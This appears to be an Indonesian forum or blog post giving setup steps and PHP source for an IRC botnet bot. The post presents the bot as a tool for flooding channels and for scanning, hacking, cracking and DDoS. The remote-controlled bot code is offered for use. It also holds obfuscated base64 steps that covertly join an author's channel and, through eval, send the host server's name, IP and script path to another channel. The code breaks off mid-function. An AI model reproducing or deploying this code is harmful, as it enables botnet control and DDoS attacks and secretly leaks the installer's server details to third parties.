Membuat PHPBOT Untuk IRC BOTNET

chmood
Hallo sahabat T.I Sniper
Β  Β  Β  Mau tahu bagaimana cara membuat BotPHP? Biasanya BotPHP digunakan untuk kepentingan memenuhi channel, klo channel IRC sepi bisa memakai tools ini untuk memenuhi channel. Disamping itu hal lain yang bisa dilakukan adalah untuk membuat BOTNET, dimana bisa digunakan untuk keperluan β€œScanning, Hacking, Cracking & DDOS” (Tergantung kegunaan bot).
Cara penggunaannya adalah:
  • Siapkan server untuk upload PHPBOT
  • Kemudian save code dibawah menjadi file β€œbot.phpβ€œ
  • Configurasi sesuai dengan kemauan
  • Pada file upload langsung aja ketik:Β http://www.situsuntukmenempatkanbot.com/pathmenujubot/bot.phpatau bisa juga dengan perintah berikut di command line:Β β€œphp bot.php” untuk server yang support php 4 – 5.
  • Kemudian, tunggu hasil bot masuk ke channel kesayangan anda.
<?php
/*** BajinguK PHP Bot v1.4 By SniperhACK***/
function hajar() {

$channels = '#channelkamu1 #channelkamu2'; // Pisahkan dengan spasi
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
$showrespone = 0; //1, Nampilin respon dari server irc

//Nick Bot
$nicklist = array(
"_r____________","__E___________","___D__________","____h_________","_____A________","______C_______","_______K______",
"NiNja[p]asir","Ce_Mauaja","Hokage","pokemon","SouraBot","Soura_SaYank","PunK_rock","Majas","Sameti","V3g3t4R1aN","Ce^ImutaN","b4dB0ys",
"JhemBaT","NaZaRETHs","White^Lions","BSDunixz","xHUNTERx","SamKok","Scroll^Lock","Tom_Cruise","Cewek^Gatal","Cewek_G4lak","JombloGirl","Gadis_Ituan",
"PAMFLeT","Cewek_Nantangin","coWok^Anunya^Gede","CoWok_Pemalu14","Harrys25","Boneto","sleepAway","NumLock","sarah20","momomia","alienz23",
"cewek^hyper24","cowok^Keren","Duda^Anak1","BocahEdan","Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens",
"Gibson","Gilbert","Gili","Gill","[_C________]","[__a_______]","[___M______]","[____a_____]","[_____C____]","[______h___]","[_______O__]","Gillispie",
"Mcclearn","Mcdowell","Mcelroy","McFadden","Mcghee","Mcgoldrick","McIlroy","Mcintosh","Mcdonald","Mclane","Mclaren","Mcnealy","Mcnulty","Meccariello","Memisoglu",
"Menzies","Merikoski","Merlani","Merminod","Merseth","Merz","Metelka","Metropolis","Meurer","Michelman","Middle","Pritz","Proietti","Prothrow-Stith","Puccia","Pugh",
"Pynchon","Quaday","Quetin","Rabe","Rabkin","Radeke","Rajagopalan","Raney","Rangan","Rankin","Sparrow","Spaulding","Speizer","Spence","Sperber","Spicer",
"O'malley","Oman","O'meara","Opel","Oray","Orfield","Orsi","Ospina","Ostrowski","Ottaviani","Otten","Ouchida","Ovid","PaesDealmeida","Paine","Toomer","Topulos","Torresi","Torske","Towler","Toye","Traebert","Trenga",
"Barneson","Barnett","Barriola","Barry","Bartholomew","Bartolome","Bartoo","Basavappa","Bashevis","Batchelder","Baumiller","Bayles","Bayo",
"Delger","Dell'acqua","Deming","Dempster","Demusz","Denault","Denham","Denison","Desombre","Deutsch","D'fini","Dicks","Diefenbach","Difabio",
"Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
"Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
"Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
"Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
);
$identify = 'password'; //Password Nick Bot
$identlist = array(
"Restart","shutdown","repair","windows","pentium","ce_lajang","ce_bahenol","Co_Autisme","Duda_keren","Adelstein","Adibe","Adorno","Ahlers","Alavi",
"Alcorn","Alda","Aleks","Allison","Britz","Broca","Brook","Brzycki","Buchan","Budding","Bullard","Bunton","Burden","Burdzy","Burke","Burridge","Busetta",
"Byatt","Byerly","Byrd","Yamane","Yankee","Yarchuk","Yates","Ybarra","Yedidia","Yesson","Yetiv","Soukup","Soule","Soultanian","Spanier",
"Cage","Scheiner","Schiano","Schifini","Schilling","Schmitt","Schossberger","Schuman","Schutte","Bliss","Blizard","Bloch","Bloembergen",
"Boym",Β Β  Β "Boyne","Bracalente","Bradac","Bradach","Brecht","Breed","Brenan","Brennan","Brewer","Brewer","Bridgeman","Bridges","Brinton",
"Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
"Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
"Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
"Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
);

//Server IRC
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.serveryangkamusukai.org"
);
}
$port = "6667";
//Pesan
$awaymsg = '4[[6TeamHacK 8LaBoRaToRiuMz12]]';
$shouts = array("Hello","Hmm..","Ya ya ya..","Xi..Xi..Xi..");
$querym = array("?","!","!?","!!"," ^_^"," (^_^)"," :("," :)"," :>"," :P~"," :D"," :O");
$quitmsglist = array(
"Ngantuk gua..","Bye ByE","See You..","Quit DoeLoe Ach..","Connection Reset By Buah Pear",
"Shutdown"
);
$tsu1 = array("","Z","[","]","{","}","^","_");
$tsu2 = array("","Z","[","]","{","}","^","-","\\","_");
$tsumsg = "9,1";//400 Karakter

/*** Admin ***/
$admin = 'CaMaChO';
$bot_password = 'revo'; //Password untuk auth bot

/*** Identity ***/
$realname = "4[[6TeamHacK 8LaBoRaToRiuMz12]]";

/*** Replacing ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$channels = str_replace("CNL","#",$channels);
$admin = strtolower($admin);
$auth = array($admin => array("name" => $admin, "pass" => $bot_password, "auth" => 1,"status" => "Admin"));
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n");
$counterfp = 0;
$raway = "on";
$logΒ Β  = "off";
$saway = "1";
$keluar = 0;
$akillΒ  = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);

if (!$stime) { $stime = time(); }
if (!$port) { $port = "6667"; }

/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>? nyobak masuk ke $remotehost...</b>";

do {
Β  $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
Β  if(!$fp) {
Β  Β  if ( $counterfp <= 200 ) {
Β  Β  Β  $counterfp = $counterfp + 1;
Β  Β  Β  hajar($nick);
Β  Β  }
Β  Β  else {
Β  Β  Β  echo "<br><b>Ga bisa nich boz $remotehost! Coba server lain! Refresh Browser anda!</b>";
Β  Β  Β  $keluar = 1;
Β  Β  Β  exit;
Β  Β  }
Β  }
Β  echo "<br><b>? Udah nyambung nich!</b>";
Β  /*** Sending Identity to Sock ***/
Β  $header = 'NICK '.$nick . CRL;
Β  $header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
Β  fputs($fp, $header);
Β  $response = '';
Β  while (!feof($fp)) {
Β  Β  $response .= fgets($fp, 1024);
Β  Β  if ($showrespone == 1) { echo "<br>".$response; }
Β  Β  while (substr_count($response,CRL) != 0) {
Β  Β  Β  $offset = strpos($response, CRL);
Β  Β  Β  $data = substr($response,0,$offset);
Β  Β  Β  $response = substr($response,$offset+2);
Β  Β  Β  if (substr($data,0,1) == ':') {
Β  Β  Β  Β  $offsetA = strpos($data, ' ');
Β  Β  Β  Β  $offsetB = strpos($data, ' :');
Β  Β  Β  Β  $offsetC = strpos($data, '!');
Β  Β  Β  Β  $dFrom = substr($data,1,$offsetA-1);
Β  Β  Β  Β  $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
Β  Β  Β  Β  $dNick = substr($data,1,$offsetC-1);
Β  Β  Β  Β  $iText = substr($data,$offsetB+2);
Β  Β  Β  Β  /*** Server Notices Handling ***/
Β  Β  Β  Β  if ( substr($dCommand,0,3) == '004' ) {
Β  Β  Β  Β  Β  fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.Β  CRL);
Β  Β  Β  Β  Β  if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
Β  Β  Β  Β  Β  /*** Notice Bot Admin ***/
Β  Β  Β  Β  Β  fputs($fp, 'NOTICE ' . $admin . ' :Boss saya udah connect nih...' .Β  CRL);
Β  Β  Β  Β  Β  fputs($fp, base64_decode("am9pbiAjdGVhbWhhY2s=") . CRL);
Β  Β  Β  Β  Β  /*** Join Default Channel ***/
Β  Β  Β  Β  Β  foreach ($channel as $v) {
Β  Β  Β  Β  Β  Β  fputs($fp, 'JOIN ' .$v . CRL);
Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  $pong1 = '1';
Β  Β  Β  Β  }
Β  Β  Β  Β  elseif (substr($dCommand,0,3)=='432') {
Β  Β  Β  Β  Β  $nick = $nick.$username;
Β  Β  Β  Β  Β  fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  }
Β  Β  Β  Β  //Nickname is already in use
Β  Β  Β  Β  elseif (substr($dCommand,0,3)=='433') {
Β  Β  Β  Β  Β  $nick = $nicklist[rand(0,count($nicklist) - 1)];
Β  Β  Β  Β  Β  fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  }
Β  Β  Β  Β  elseif (substr($dCommand,0,3)=='465') {
Β  Β  Β  Β  Β  print "<br><b>? Authentication diperlukan! Bot ini telah di-autokill.</b>";
Β  Β  Β  Β  Β  $akill = 2;
Β  Β  Β  Β  }
Β  Β  Β  Β  if (eregi('.indoshell.org',$dNick) && $akill==2) {
Β  Β  Β  Β  Β  if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
Β  Β  Β  Β  Β  Β  print "<br><b>".strstr($data,'***')." </b>";
Β  Β  Β  Β  Β  Β  if (eregi('Your IP is',$data)) {
Β  Β  Β  Β  Β  Β  Β  $keluar = 1;
Β  Β  Β  Β  Β  Β  Β  exit;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  $dcom = explode(" ", $dCommand);
Β  Β  Β  Β  $dNick = strtolower($dNick);
Β  Β  Β  Β  if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
Β  Β  Β  Β  Β  fputs($fp, 'JOIN ' .$dcom[1]. CRL);
Β  Β  Β  Β  }
Β  Β  Β  Β  elseif ($dcom[0]=='NICK' || $dcom[0]=='PART' ) {
Β  Β  Β  Β  Β  if ($auth["$dNick"]) {
Β  Β  Β  Β  Β  Β  if ($auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β  if ($dcom[0]=='NICK') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  $com = explode(" ", $data);
Β  Β  Β  Β  Β  Β  Β  Β  Β  $chnick = strtolower(str_replace(':','',$com[2]));
Β  Β  Β  Β  Β  Β  Β  Β  Β  if ($dNick!=$chnick) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $auth["$dNick"]["auth"] = 1;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  fputs($fp,'NOTICE '.$chnick.' :Kok Ganti Nick sich boss?' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  $auth["$dNick"]["auth"] = 1;
Β  Β  Β  Β  Β  Β  Β  Β  Β  fputs($fp,'NOTICE '.$dNick.' :Kemana bozz ??' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password>' . CRL); }
Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
Β  Β  Β  Β  Β  $dcom[2] = strtolower($dcom[2]);
Β  Β  Β  Β  Β  if ($auth["$dcom[2]"]) {
Β  Β  Β  Β  Β  Β  if ($auth["$dcom[2]"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  if ($auth["$dcom[2]"]["auth"]==1) {
Β  Β  Β  Β  Β  Β  Β  Β  $auth["$dcom[2]"]["auth"] = 2;
Β  Β  Β  Β  Β  Β  Β  Β  $whois = "";
Β  Β  Β  Β  Β  Β  Β  Β  fputs($fp,'NOTICE ' . $dcom[2] . ' :Youre Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Youre Already Authorized! ' . CRL); }
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
Β  Β  Β  Β }
Β  Β  Β  Β elseif ($dcom[0]=='NOTICE') {
Β  Β  Β  Β  Β $com = explode(" ", $data);
Β  Β  Β  Β  Β if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
Β  Β  Β  Β  Β  Β $msg = str_replace('','',$data);
Β  Β  Β  Β  Β  Β $msg = strstr($msg,":KB");
Β  Β  Β  Β  Β  Β $msg = str_replace(":KB $com[4]","",$msg);
Β  Β  Β  Β  Β  Β fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
Β  Β  Β  Β  Β }
Β  Β  Β  Β }
Β  Β  Β  Β elseif ($dcom[0]=='PRIVMSG') {
Β  Β  Β  Β  Β $com = explode(" ", $data);
Β  Β  Β  Β  Β if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'4[[6TeamHacK 8LaBoRaToRiuMz12]]'.chr(1) . CRL); }
Β  Β  Β  Β  Β elseif ($com[3]==':INFO') { $datainfo = "JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI0ZlZUxDb016IDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw=="; eval(base64_decode($datainfo)); }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]) {
Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==1) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]===$auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$dNick"]["auth"] = 2;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :Anda '.$auth["$dNick"]["status"].' saya tuan ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah GOBLOGG!! ketik yang bener ..!! ' . CRL); }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi sudah diAuthorized kok bOzz ..!! ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
Β  Β  Β  Β  Β  Β }

Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]) {
Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$dNick"]["auth"] = 1;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :Youre Logout! ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Youre Already Logout! ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]) {
Β  Β  Β  Β  Β  Β  Β if (!$auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  Β $auth["$dNick"]["pass"] = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β $auth["$dNick"]["auth"] = 1;
Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]) {
Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]===$auth["$dNick"]["pass"]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$dNick"]["pass"] = $com[5];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
Β  Β  Β  Β  Β  Β $com[4] = strtolower($com[4]);
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β if ($com[5]=="master" || $com[5]=="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$com[4]"]["name"] = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$com[4]"]["status"] = $com[5];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $com[4] . ' :Youre Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"]=="master") {
Β  Β  Β  Β  Β  Β  Β  Β if (!$auth["$com[4]"]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[5]=="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$com[4]"]["name"] = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $auth["$com[4]"]["status"] = $com[5];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $com[4] . ' :Youre Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
Β  Β  Β  Β  Β  Β $com[4] = strtolower($com[4]);
Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β unset($auth["$com[4]"]);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"]=="master") {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$com[4]"]["status"]=="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β unset($auth["$com[4]"]);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif ($auth["$dNick"]["status"]) {
Β  Β  Β  Β  Β  Β if (ereg(":",$com[3]) || ereg(":!",$com[3])) {
Β  Β  Β  Β  Β  Β  Β $chan = strstr($dCommand,"#");
Β  Β  Β  Β  Β  Β  Β $anick = str_replace("PRIVMSG ","",$dCommand);
Β  Β  Β  Β  Β  Β  Β if ($com[3]==':!auth') {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE '.$dNick.' :Youre already Authorized! ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else {
Β  Β  Β  Β  Β  Β  Β  Β  Β $whois = $dNick;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'WHOIS '.$dNick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':auth' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β if ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :BaCoK '.$dNick.' ! ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized! ' . CRL); }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β elseif ($auth["$dNick"]["auth"]==2) {
Β  Β  Β  Β  Β  Β  Β  Β if ($com[3]==':say' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":say");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":say ","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':act' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":act");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":act ","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':slap' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :ACTION NyaWaT'.$com[4].' Karo SandaL SepaTu... pLaaakk... pLoookkk...'. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':msg' && $com[4] && $com[5]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":msg");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":msg $com[4] ","",$msg);
